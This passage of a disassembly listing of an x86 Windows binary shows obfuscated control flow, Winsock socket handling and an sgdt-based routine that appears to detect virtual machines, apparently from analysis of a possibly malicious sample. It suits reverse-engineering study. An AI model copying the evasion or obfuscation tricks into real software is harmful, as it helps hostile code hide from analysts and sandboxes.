		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1134
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACA04:				; CODE XREF: sub_9B63D8-DF0j
					; DATA XREF: .text:off_9B9082o
		lea	esi, [ebp-2120h]
		mov	ecx, 9
		mov	edi, off_9B9645
		sub	edx, edx
		repe cmpsb
		jnz	loc_9AF944
		jmp	off_9B95D3
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ACA28:				; CODE XREF: sub_9B04A8+A1Aj
					; sub_9B04A8+2191j
		mov	dword ptr [ebp-4048h], 2


loc_9ACA32:				; CODE XREF: sub_9B04A8-2EAj
		cmp	dword ptr [ebp-4048h], 7D0h
		jge	loc_9AFD43
		jmp	off_9BAB52
; END OF FUNCTION CHUNK	FOR sub_9B04A8

; =============== S U B	R O U T	I N E =======================================



sub_9ACA48	proc near		; DATA XREF: .text:off_9BA0BDo

; FUNCTION CHUNK AT 009ADC24 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009B109C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B26DF SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B5DD4 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B5E0C SIZE 00000013 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA6CC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	4044h
		pop	eax
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-4058h], eax
		push	dword ptr [eax+0Ch]
		pop	esi
		push	dword ptr [eax+10h]
		pop	ebx
		mov	[ebp-4050h], ebx
		mov	dword ptr [ebp-4], 0
		lea	edi, [ebp-4044h]
		lea	eax, [ebp-4034h]
		call	sub_9AC128
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_9B36E8
		push	eax
		push	0
		push	6
		push	ebx
		push	1
		lea	eax, [ebp-4048h]
		push	eax
		lea	ecx, [ebp-4022h]
		push	ecx
		call	sub_9B2F1C
		add	esp, 30h
		push	dword ptr [ebp-4048h]
		pop	edi
		test	edi, edi
		jz	loc_9B5E0C
		jmp	off_9B8D6D
sub_9ACA48	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9ACAF8:				; CODE XREF: sub_9ACEE8+1B38j
					; sub_9ACEE8+267Cj
					; DATA XREF: ...
		sub	eax, eax
		mov	[ebp-0C0h], eax


loc_9ACB00:				; CODE XREF: sub_9ACEE8+1B32j
		and	eax, eax
		jz	loc_9AB6CC
		jmp	loc_9B5978
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B227C


loc_9ACB10:				; CODE XREF: sub_9B227C+4Cj
		mov	dword_9BCB90, esi
		mov	dword_9BCB94, ecx


loc_9ACB1C:				; CODE XREF: sub_9B227C+46j
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9BAF9B
		call	dword ptr [edx+1Ch]
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B227C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9ACB34:				; CODE XREF: sub_9ABD30+89EBj
					; DATA XREF: .text:off_9BA7FAo
		mov	eax, [esp+0Ch+arg_8]
		pop	edi
		mov	[eax], esi
		pop	esi
		mov	eax, 4
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9ACB48:				; CODE XREF: sub_9B4FD0-317Dj
					; DATA XREF: .text:off_9B8E16o
		push	dword ptr [ebp+18h]
		pop	edx
		cmp	dword_9BBF88[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9B0A98
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACB60:				; CODE XREF: sub_9B63D8-2224j
		push	0Ch
		pop	esi
		mov	[ebp-212Ch], esi


loc_9ACB69:				; CODE XREF: sub_9B63D8-4196j
		add	ebx, 0FFFFFFE9h
		cmp	esi, ebx
		jg	loc_9AC5C0
		jmp	loc_9AFAB4
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9ACB7C:				; CODE XREF: sub_9ADDA4+43j
		mov	eax, dword_9BF120[ecx*4]
		and	eax, eax
		jz	loc_9AF4F3
		jmp	loc_9AF4E8
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9ACB90:				; CODE XREF: sub_9B2E04+292Ej
		cmp	edi, 0FFFFFFFFh
		jz	loc_9B107C
		jmp	off_9B8C1C
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACBA0:				; CODE XREF: sub_9B63D8-68FCj
		lea	edx, [esi+12h]
		mov	[ebp-2164h], edx
		mov	[ebp-2130h], eax


loc_9ACBAF:				; CODE XREF: sub_9B63D8-8B1j
		mov	cl, [edx+ebp-2120h]
		mov	[ebp-2139h], cl
		inc	edx
		cmp	cl, 30h
		mov	[ebp-2164h], edx
		jl	loc_9AF944
		jmp	loc_9B1FF8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9ACBD4:				; CODE XREF: sub_9AFF64-23DFj
					; sub_9AFF64+3E8Ej
		mov	eax, 1
		mov	[ebp+var_228], eax
		jmp	loc_9B5807
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ACBE4:				; CODE XREF: sub_9B0930-25A7j
					; DATA XREF: .text:off_9B9F7Ao
		push	off_9B93D7
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+0Ch]
		mov	[ecx+24h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+0Ch]
		pop	edx
		push	dword ptr [edx+24h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AFC00
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9ACC18:				; CODE XREF: sub_9B4FD0+50Cj
		inc	eax
		jmp	loc_9B104E
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9ACC20:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:off_9B2B18o
		sub	eax, eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ACC3C:				; CODE XREF: sub_9B3864-1EB5j
		jnb	loc_9ABA28
		jmp	loc_9AD1DC
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9ACC48:				; CODE XREF: sub_9B36E8-5748j
					; DATA XREF: .text:off_9B89CAo
		push	4
		pop	edx
		call	sub_9AEE5C
		mov	edi, eax
		mov	[ebp-20h], edi
		mov	ebx, dword_9BCB98
		mov	[ebp-24h], ebx
		call	sub_9B227C
		add	eax, ebx
		cmp	eax, edi
		jb	loc_9AE975
		jmp	loc_9AE96C
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9ACC74:				; CODE XREF: sub_9AC6DC+397Ej
		push	dword_9BBD20
		pop	eax
		mov	dword_9BBD24, eax
		jmp	loc_9AF003
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACC88:				; CODE XREF: sub_9AB1A0+2E4Aj
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	eax, dword_9BEC30[eax]
		push	eax
		call	dword ptr [edx+34h]
		not	eax
		lea	ecx, [eax+edi+1]
		mov	[ebp-24h], ecx


loc_9ACCA6:				; CODE XREF: sub_9AB1A0+2A77j
					; sub_9AB1A0+2E44j ...
		inc	esi
		mov	[ebp-28h], esi
		mov	edi, [ebp-24h]
		jmp	loc_9AB014
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACCB4:				; CODE XREF: sub_9AB1A0+39C3j
					; DATA XREF: .text:off_9BA688o
		mov	eax, dword_9BEC28[esi]
		test	eax, eax
		jz	loc_9ABD29
		jmp	off_9BA07C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9ACCC8:				; CODE XREF: sub_9ABF08+4CB0j
					; DATA XREF: .text:off_9B9A50o
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9AF21B
		jmp	off_9BA3A4
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9ACCD8:				; CODE XREF: sub_9B649C-A25Aj
					; sub_9B649C-55C6j ...
		sub	eax, eax
		mov	[ebp+var_1C], eax


loc_9ACCDD:				; CODE XREF: sub_9B649C-3300j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9ACCFC:				; CODE XREF: sub_9B037C-4351j
		lea	ecx, [ebp-403Ch]
		push	ecx
		push	eax
		lea	edx, [ebp-201Ch]
		push	edx
		push	5
		pop	eax
		push	edi
		pop	esi
		call	sub_9B3F28
		mov	[ebp-4048h], eax
		jmp	loc_9AB9A8
; END OF FUNCTION CHUNK	FOR sub_9B037C

; =============== S U B	R O U T	I N E =======================================



sub_9ACD20	proc near		; CODE XREF: sub_9B03E8+2780p

var_A		= byte ptr -0Ah
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AB768 SIZE 00000002 BYTES

		push	ecx
		push	ecx
		sgdt	fword ptr [esp+8+var_A]
		pop	dword ptr [esp+8+var_A+2]
		mov	eax, [esp+4+var_4]
		and	eax, 0FF000000h
		sub	eax, 0FF000000h
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	off_9BAC75
sub_9ACD20	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9ACD44:				; CODE XREF: sub_9AEC20-34F4j
					; DATA XREF: .text:off_9B92F4o
		mov	dword_9BBD30, edi
		jmp	loc_9AE5B7
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACD50:				; CODE XREF: sub_9AB1A0+38B5j
					; DATA XREF: .text:off_9B938Co
		push	dword ptr [ebx]
		pop	eax
		push	dword ptr [ebp+8]
		pop	ecx
		mov	[ecx+eax*4], esi
		inc	dword ptr [ebx]
		jmp	loc_9B58CD
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9ACD64:				; CODE XREF: sub_9B0734-548Cj
		cmp	eax, 2746h
		jnz	loc_9B2679
		jmp	loc_9B2674
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ACD74:				; CODE XREF: sub_9B1F68+6Bj
		mov	eax, esi
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFECh
		add	eax, 28h
		mov	[ebp-40h], eax


loc_9ACD83:				; CODE XREF: sub_9B1F68-1145j
					; sub_9B1F68+2153j ...
		push	dword ptr [ebp-38h]
		pop	esi
		neg	esi
		sbb	esi, esi
		and	esi, 0FA0h
		add	esi, 3E8h
		mov	[ebp-48h], esi
		call	sub_9AB574
		mov	[ebp-60h], eax
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9B4874
		jmp	off_9BAB80
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9ACDB4:				; CODE XREF: sub_9AFB1C+2DE9j
		mov	ecx, [edi+eax]
		add	eax, 4
		mov	[esi+10h], ecx
		mov	[ebp-1Ch], eax


loc_9ACDC0:				; CODE XREF: sub_9AFB1C+2DE3j
		test	bl, 20h
		jz	loc_9B18D9
		jmp	loc_9B18CC
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-228h]
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_9ABB50


loc_9ACDE1:				; CODE XREF: sub_9ABB50+17j
					; sub_9B4FD0-5215j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9BA623
		call	dword ptr [eax+1Ch]
		push	ebx
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	20h
; END OF FUNCTION CHUNK	FOR sub_9ABB50
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9ACE18:				; CODE XREF: sub_9B3408-2BF9j
					; DATA XREF: .text:off_9BA859o
		cmp	ecx, 100000h
		ja	loc_9AB749
		jmp	off_9B94F0
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9ACE2C:				; CODE XREF: sub_9ADCEC-27FEj
		call	sub_9B227C
		sub	eax, dword_9BEBD4


loc_9ACE37:				; CODE XREF: sub_9ADCEC+E63j
		mov	[ebx+12h], eax
		push	dword_9BEBD0
		pop	eax
		cmp	eax, 0FFFFh
		jle	loc_9AB876
		jmp	off_9BA425
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ACE54:				; CODE XREF: sub_9B1F68+809j
		cmp	ebx, [ebp-40h]
		jnb	loc_9B01DE
		jmp	loc_9AFDC0
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9ACE64:				; CODE XREF: sub_9B36E8-4D66j
					; DATA XREF: .text:off_9BAECDo
		or	esi, 80000000h
		mov	[ebp-1Ch], esi


loc_9ACE6D:				; CODE XREF: sub_9B36E8-7255j
					; sub_9B36E8-574Ej ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9AC73E
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9ACE7C:				; CODE XREF: sub_9AFF64+3E94j
					; DATA XREF: .text:off_9BAEA5o
		sub	eax, eax
		mov	[ebp+var_228], eax
		jmp	loc_9B5807
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9ACEAF:				; CODE XREF: sub_9B43F4-5C4Fj
					; sub_9B43F4-4A69j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	14h
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ACED0:				; CODE XREF: sub_9B3864-475Cj
					; DATA XREF: .text:off_9B9568o
		lea	eax, [ebp+var_203C]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	ebx
		push	eax
		jmp	loc_9B3D79
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ACEE8	proc near		; DATA XREF: .text:off_9B909Do

; FUNCTION CHUNK AT 009AB6CC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AB930 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ABB6C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AC65C SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009ACAF8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AE600 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AEA14 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF3F8 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009AF51C SIZE 00000054 BYTES
; FUNCTION CHUNK AT 009AFF00 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0324 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B0F74 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B1AD3 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B2324 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B2C9C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B33AC SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B34B0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B47C4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B5978 SIZE 00000026 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B984C
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0D8h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	eax
		xor	ebx, ebx
		mov	[ebp-0E0h], eax
		mov	[ebp-4], ebx
		mov	ecx, 24h
		mov	[ebp-0BCh], ebx
		mov	[ebp-0B8h], ebx
		mov	[ebp-0B0h], bl
		sub	eax, eax
		lea	edi, [ebp-0AFh]
		rep stosd
		stosw
		mov	[ebp-0B4h], ebx


loc_9ACF55:				; CODE XREF: sub_9ACEE8-1812j
					; sub_9ACEE8+171Fj ...
		mov	ecx, [ebp-0E0h]
		push	ecx
		mov	edx, 1388h
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B1AD3
		jmp	off_9B9F4C
sub_9ACEE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACF74:				; CODE XREF: sub_9AB1A0+EA7j
					; sub_9AB1A0+A9DFj
					; DATA XREF: ...
		push	esi
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jz	loc_9AEA48
		jmp	loc_9AE758
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9ACF8C:				; CODE XREF: sub_9B5904+11j
		cmp	bl, 7Fh
		jz	loc_9B42FE
		jmp	loc_9B47E8
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9ACF9C	proc near		; CODE XREF: sub_9B43F4-4A6Ep

; FUNCTION CHUNK AT 009ADA23 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AEF7C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF134 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AFCBC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B2D30 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009B5C80 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B920F
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		cmp	esi, 300h
		jb	loc_9ADA23
		jmp	loc_9AEF7C
sub_9ACF9C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACFE0:				; CODE XREF: sub_9B63D8-3992j
					; DATA XREF: .text:off_9B9823o
		add	esp, 4
		test	eax, eax
		jz	loc_9AF944
		jmp	off_9B8D65
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ACFFC:				; CODE XREF: sub_9B04A8+3E9Bj
					; DATA XREF: .text:off_9B88B7o
		mov	dword ptr [ebp-4044h], 0
		test	bl, 40h
		jz	loc_9AFD43
		jmp	loc_9AE460
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AD014:				; CODE XREF: sub_9B63D8-801j
		mov	[ebp-1Dh], al
		jmp	loc_9B4ED3
; END OF FUNCTION CHUNK	FOR sub_9B63D8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AD01C	proc near		; CODE XREF: sub_9AF698:loc_9AB82Cj
					; .text:009AFBF4p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009B5BE3 SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8FCC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		mov	dword_9BEBD8, eax
		push	1
		mov	ecx, 18h
		mov	edx, off_9B989B
		call	sub_9B1B20
		push	6
		mov	ecx, 2004h
		mov	edx, off_9B985C
		call	sub_9B1B20
		jmp	loc_9B5BE3
sub_9AD01C	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AD087:				; CODE XREF: sub_9B1584-31B9j
					; sub_9B1584-2751j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD0A4:				; CODE XREF: sub_9B0930+3540j
		push	off_9B94DB
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+34h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		mov	ecx, [eax+34h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B3A18
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9AD0D8:				; CODE XREF: sub_9B2C70+9j
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		call	dword ptr [eax+4Ch]
		cmp	eax, 2733h
		jz	loc_9B01DE
		jmp	off_9B9010
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AD0F8:				; CODE XREF: sub_9AC32C+4Dj
					; DATA XREF: .text:off_9B87ACo
		or	edi, 24h


loc_9AD0FB:				; CODE XREF: sub_9AC32C+47j
					; sub_9AC32C+2C69j
		test	edi, edi
		mov	eax, edi
		jnz	loc_9AC5FB
		jmp	loc_9AC5F8
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9AD10C:				; CODE XREF: sub_9B037C+5B28j
		test	al, 40h
		jz	loc_9B5724
		jmp	loc_9B2B08
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD11C	proc near		; CODE XREF: sub_9B63D8-AE1Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 009AB910 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AD1F8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AD268 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AFA4C SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009B0B34 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B33D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009B36C0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009B5538 SIZE 0000005B BYTES

		sub	esp, 18h
		mov	eax, dword_9B8788
		xor	eax, esp
		lea	edx, [esp+18h+var_18]
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, dword_9BCB74
		push	8004667Eh
		mov	[esp+20h+var_18], 1
		push	dword ptr [eax+10h]
		pop	ecx
		push	esi
		call	dword ptr [ecx+54h]
		or	eax, eax
		jz	loc_9B5538
		jmp	loc_9AD268
sub_9AD11C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AD158:				; CODE XREF: sub_9B3408-AC9j
		push	esi
		lea	eax, [ebp-120h]
		call	sub_9B18F8
		push	dword ptr [esi+44h]
		pop	ecx
		mov	eax, [esi]
		push	eax
		lea	eax, [ebp-120h]
		mov	edx, ecx
		call	sub_9AB95C
		add	esp, 4
		mov	ecx, esi
		call	sub_9B3150
		or	eax, eax
		jz	loc_9AB749
		jmp	off_9BA164
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9AD190:				; CODE XREF: sub_9B2830-707Ej
					; sub_9B2830-1ADj ...
		sub	esi, esi
		mov	[ebp-1Ch], esi


loc_9AD195:				; CODE XREF: sub_9B2830+231Ej
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B4901
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD1A4	proc near		; CODE XREF: sub_9B4480-61F6j
					; sub_9B4480+28Bj

; FUNCTION CHUNK AT 009AEA28 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B25E5 SIZE 00000031 BYTES

		push	ebx
		mov	edx, edi
		lea	eax, [ebp-328h]
		mov	ecx, edi
		call	sub_9AB95C
		add	esp, 4
		or	esi, esi
		jnz	loc_9AEA3A
		jmp	loc_9AEA28
sub_9AD1A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
